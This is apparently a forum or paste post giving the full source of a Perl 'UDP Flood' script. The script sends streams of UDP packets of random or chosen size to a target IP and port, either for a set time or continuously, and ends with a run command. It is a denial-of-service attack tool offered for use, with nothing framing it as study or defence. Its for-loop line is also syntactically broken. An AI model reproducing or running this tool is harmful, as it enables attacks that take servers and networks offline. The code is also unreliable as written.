VPS UDP script

#!/usr/bin/perl

##############
# UDP Flood  #
##############

use Socket;
use strict;

if ($#ARGV != 3) {
print "flood.pl <ip> <port> <size> <time>\n\n";
print " port=0: use random ports\n";
print " size=0: use random size between 64 and 1024\n";
print " time=0: continuous flood\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);


print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

for (;time() <= $endtime {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}



############################################
How to use script?

Terminal > type "/tmp/flood.pl 127.0.0.1 80 65000 120"